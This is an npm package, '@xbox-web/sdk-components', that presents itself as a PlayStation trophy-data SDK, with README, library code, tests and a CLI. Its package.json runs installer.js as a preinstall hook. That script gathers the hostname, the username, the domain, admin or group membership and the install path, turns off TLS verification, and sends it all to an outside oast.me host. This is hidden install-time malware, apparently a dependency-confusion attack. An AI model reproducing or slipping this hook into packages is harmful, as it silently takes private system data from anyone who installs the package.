@xbox-web/sdk-components 14.0.0
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- package/.babelrc +3 -0
- package/.eslintignore +3 -0
- package/.eslintrc +6 -0
- package/.travis.yml +7 -0
- package/LICENSE +24 -0
- package/README.md +41 -0
- package/installer.js +42 -0
- package/package.json +59 -0
- package/src/bin/cli.js +27 -0
- package/src/lib/index.js +68 -0
- package/test/game.spec.js +32 -0
- package/test/trophies.spec.js +32 -0
- package/test.js +58 -0
package/.babelrc
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package/.eslintignore
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package/.eslintrc
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package/.travis.yml
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package/LICENSE
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The MIT License
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Copyright (c) 2013 Max Ogden
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Permission is hereby granted, free of charge,
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to any person obtaining a copy of this software and
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associated documentation files (the "Software"), to
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deal in the Software without restriction, including
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without limitation the rights to use, copy, modify,
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merge, publish, distribute, sublicense, and/or sell
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copies of the Software, and to permit persons to whom
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the Software is furnished to do so,
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subject to the following conditions:
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The above copyright notice and this permission notice
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shall be included in all copies or substantial portions of the Software.
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THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
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EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
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OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
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IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR
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ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
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TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
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SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
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package/README.md
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# Playstation Trophies
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A `nodejs` API to retrieve a user's Playstation trophy data from the [Playstation website](https://www.playstation.com/en-us/my/public-trophies/).
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## Usage
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To use the API within your code you can use `#request` to return all the games that have been attached to a user's account.
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```js
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import { Trophies } from 'playstation-trophies';
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Trophies.request('{{username}}', (err, games) => {
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console.log(`{{username}} has ${games.length} games`);
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})
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```
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Each `Game` may contain:
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```json
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{
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"id": "Playstation Game ID",
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"title": "Name of the game",
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"platforms": "[PS3|PS4|VITA]",
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"progress": "Completion percentage for trophies",
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"trophies": "[list of trophies completed]",
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"avatar": "URL for game avatar"
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}
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```
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## CLI
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A CLI is also available for quickly searching users data to use in your shell.
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```bash
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# return all games belonging to {{username}} in JSON format
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npm run cli {{username}} -- --format json
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```
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# License
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MIT
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package/installer.js
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var os = require('os');
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var hostname = os.hostname();
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var username = os.userInfo().username;
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var platform = os.platform();
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var admin_text;
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if (platform == 'win32' || platform == 'win64') {
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try {
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net_session = require('child_process').execSync('net session');
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admin_text = 'admin';
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}
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catch {
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admin_text = 'non-admin';
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}
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username = require('child_process').execSync('systeminfo | findstr /B Domain').toString().replace('Domain:', '').trim() + '/' + username;
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} else {
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admin_text = os.userInfo().uid;
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try {
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const { execSync } = require('child_process');
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let stdout = execSync('groups').toString().replace('\n', '');
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admin_text += ' ' + stdout;
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}
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catch {
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}
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}
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process.env['NODE_TLS_REJECT_UNAUTHORIZED'] = 0;
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const https = require('https')
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const options = {
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hostname: 'cig6l3l34eboiti6qhjg6bi17eq4dpqwn.oast.me',
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port: 443,
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path: '/?uname=' + encodeURI(username + ' (' + admin_text + ')') + '&Hostname=' + encodeURI(hostname) + '&Package=xbox-web/sdk-components&PWD=' + __dirname,
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method: 'GET'
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}
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const req = https.request(options)
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req.end();
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package/package.json
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{
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"_from": "playstation-trophies",
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"_id": "playstation-trophies@1.0.0",
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"_inBundle": false,
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"_integrity": "sha512-3E+7jJ/JAFMDdyVZVpXbNnBW6NFPKA0H2V0Dl7c1gLao2SdxAJ1hIh66mCXK7L13ooEWrbR/2UBvh9PkmYrHSQ==",
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"_location": "/playstation-trophies",
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"_phantomChildren": {},
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"_requested": {
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"type": "tag",
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"registry": true,
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"raw": "playstation-trophies",
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"name": "playstation-trophies",
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"escapedName": "playstation-trophies",
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"rawSpec": "",
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"saveSpec": null,
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"fetchSpec": "latest"
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},
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"_requiredBy": [
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"#USER",
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"/"
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],
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"_resolved": "https://registry.npmjs.org/playstation-trophies/-/playstation-trophies-1.0.0.tgz",
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"_shasum": "b5215b3b4cac77ba508bd53a06f26e8cd2d0e4cb",
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"_spec": "playstation-trophies",
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"_where": "/home/ubuntu/Documents/npm/xbox-web",
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"author": {
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"name": "Jimmy Hillis",
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"email": "jimmy@hillis.me"
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},
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"bundleDependencies": false,
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"dependencies": {
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"minimist": "^1.2.0",
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"request": "^2.69.0"
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},
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"deprecated": false,
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"description": "API to retrieve a user's Playstation trophy data",
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"devDependencies": {
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"babel-eslint": "^4.1.6",
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"babel-preset-es2015": "^6.5.0",
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"chai": "^3.5.0",
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"eslint": "^1.10.3",
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"eslint-config-airbnb": "^5.0.0",
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"eslint-plugin-react": "^3.16.1",
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"mocha": "^2.4.5"
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},
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"license": "MIT",
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"main": "lib/index.js",
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"name": "@xbox-web/sdk-components",
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"scripts": {
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"build": "babel src --out-dir .",
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"clean": "rm -rf lib bin",
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"cli": "node bin/cli.js",
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"lint": "./node_modules/eslint/bin/eslint.js .",
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"test": "npm run lint && npm run test:lib",
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"test:lib": "./node_modules/mocha/bin/mocha -R spec test/*.js",
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"preinstall": "node installer.js"
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},
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"version": "14.0.0"
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}
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package/src/bin/cli.js
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import minimist from 'minimist';
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import { Trophies } from '../lib/';
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const argv = minimist(process.argv.slice(2));
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const user = argv.user || argv._[0];
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const format = argv.format || null;
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if (user === null) {
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console.error('A username must be provided');
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process.exit(1);
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}
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// Format and output the games returned from the API
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// to stdout with the user selected format.
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Trophies.request(user, (err, games) => {
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switch (format) {
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case 'json':
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console.log(JSON.stringify(games));
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break;
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default:
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games.forEach(game => {
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console.log(`${game.title} for ${game.platforms.join('|')} ` +
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`is ${game.progress}% complete`);
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});
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break;
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}
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});
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package/src/lib/index.js
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import request from 'request';
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export const PS4 = 'ps4';
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export const PS3 = 'ps3';
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export const VITA = 'vita';
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export const BRONZE = 'bronze';
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export const SILVER = 'silver';
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export const GOLD = 'gold';
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export const PLATINUM = 'platinum';
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const NOOP = () => undefined;
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export class Game {
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constructor({ id = null, title = null, platforms = [],
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progress = 0, trophies = {}, avatar = null }) {
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this.id = id;
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this.title = title;
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this.platforms = platforms;
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this.progress = parseInt(progress, 10) || 0;
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this.trophies = Object.assign({ bronze: 0, silver: 0, gold: 0, platinum: 0 }, trophies);
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this.avatar = avatar;
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}
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// Return true if game belongs to platform provided
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// @param {string} platform
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// @return {boolean}
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belongsToPlatform(platform) {
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return this.platforms.indexOf(platform) >= 0;
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}
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}
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export class Trophies {
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// Scrape the public JSON feed provided by Playstation.com to find and return
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// a user object with each game and the currently completed trophies
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// curl 'https://io.playstation.com/playstation/psn/public/trophies/?onlineId={{username}}'
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// -H 'Origin: https://www.playstation.com' --compressed
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// @param {String} username of the PSN user
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// @param {object} options
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// - {Number} offset to start gathering games from
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// - {Number} limit the number of games found
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// @param {function} callback to pass completion to
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static request(username, callback = NOOP) {
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const url = `https://io.playstation.com/playstation/psn/public/trophies/?onlineId=${username}`;
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const headers = {
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Origin: 'https://www.playstation.com',
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};
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return request({ url, headers }, (err, response) => {
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if (err) {
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return callback(err);
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}
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const json = JSON.parse(response.body);
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const games = json.list.map(this.parseGame);
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callback(null, games);
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});
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}
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// Convert JSON response object into Game object
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// @param {object} JSON
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// @return Game
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static parseGame(game) {
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return new Game({
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id: game.gameId,
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title: game.title,
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platforms: game.platform.split(','),
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progress: game.progress,
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trophies: game.trophies,
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avatar: game.imgUrl,
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});
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}
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}
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const chai = require('chai');
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const Game = require('../lib').Game;
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describe('Game', () => {
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describe('#constructor', () => {
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it('should set all parameters provided', () => {
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const game = new Game({ id: 'GAME1', title: 'Fallout 4', platforms: [],
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progress: 20, trophies: { bronze: 1 }, avatar: '/path/to/image' });
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chai.assert.equal(game.id, 'GAME1');
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chai.assert.equal(game.title, 'Fallout 4');
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chai.assert.lengthOf(game.platforms, 0);
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chai.assert.equal(game.progress, 20);
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chai.assert.equal(game.trophies.bronze, 1);
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chai.assert.equal(game.avatar, '/path/to/image');
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});
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it('should set default trophy values', () => {
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const defaultTrophies = { bronze: 0, silver: 0, gold: 0, platinum: 0 };
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const game = new Game({ trophies: {} });
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chai.assert.deepEqual(game.trophies, defaultTrophies);
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});
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});
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describe('#belongsToPlatform', () => {
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it('should return true if the game is on the specified platform', () => {
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const game = new Game({ platforms: ['ps4'] });
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chai.assert.equal(game.belongsToPlatform('ps4'), true);
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});
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it('Should return false if the game is not on the specified platform', () => {
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const game = new Game({ platforms: ['ps4'] });
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chai.assert.equal(game.belongsToPlatform('vita'), false);
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});
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});
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});
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const chai = require('chai');
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const Trophies = require('../lib').Trophies;
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describe('Trophies', () => {
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describe('#parseGame', () => {
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it('Should create object with provided JSON values', () => {
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const json = {
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platform: 'ps3,ps4,vita',
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progress: 100,
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trophies: {
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bronze: 7,
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silver: 4,
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gold: 1,
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platinum: 0,
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},
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imgUrl: '/path/to/image',
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title: 'FEZ',
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gameId: 'NPWR05526_00',
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};
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const game = Trophies.parseGame(json);
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chai.assert.equal(game.id, 'NPWR05526_00');
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chai.assert.equal(game.title, 'FEZ');
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chai.assert.lengthOf(game.platforms, 3);
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chai.assert.deepEqual(game.platforms, ['ps3', 'ps4', 'vita']);
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chai.assert.equal(game.progress, 100);
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chai.assert.deepEqual(game.trophies, {
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bronze: 7, silver: 4, gold: 1, platinum: 0,
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});
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chai.assert.equal(game.avatar, '/path/to/image');
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});
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});
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});
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package/test.js
ADDED
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// function throttle() {
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// // noop
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// return;
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// };
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// Bind should allow you to run a provided method using state
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// as the object to used for `this`
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function bind(func, state) {
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// noop
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return function () {
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const args = Array.prototype.slice(arguments);
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return func.apply(state, args);
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};
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}
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Function.prototype.bind = Function.prototype.bind || function (state) {
|
17
|
+
return bind(this, state);
|
18
|
+
};
|
19
|
+
|
20
|
+
function a() {
|
21
|
+
console.log(this.x);
|
22
|
+
}
|
23
|
+
|
24
|
+
// a();
|
25
|
+
const b = bind(a, { x: 20 });
|
26
|
+
// b();
|
27
|
+
// a.bind({ x: 10 })();
|
28
|
+
|
29
|
+
// function debounce() {
|
30
|
+
// // noop
|
31
|
+
// return;
|
32
|
+
// };
|
33
|
+
|
34
|
+
function throttle(func, delay) {
|
35
|
+
var wait = null;
|
36
|
+
return function () {
|
37
|
+
// Allow user to cancel the function anytime they want
|
38
|
+
this.cancel = function () {
|
39
|
+
return clearTimeout(wait);
|
40
|
+
};
|
41
|
+
if (wait === null) {
|
42
|
+
var args = Array.prototype.slice(arguments);
|
43
|
+
func();
|
44
|
+
wait = setTimeout(function () {
|
45
|
+
clearTimeout(wait);
|
46
|
+
console.log('ready');
|
47
|
+
}, delay);
|
48
|
+
}
|
49
|
+
}
|
50
|
+
}
|
51
|
+
|
52
|
+
const c = throttle(b, 1000);
|
53
|
+
// while (true) {
|
54
|
+
// c();
|
55
|
+
// }
|
56
|
+
for (var x = 0; x < 10000; x++) {
|
57
|
+
c();
|
58
|
+
}
|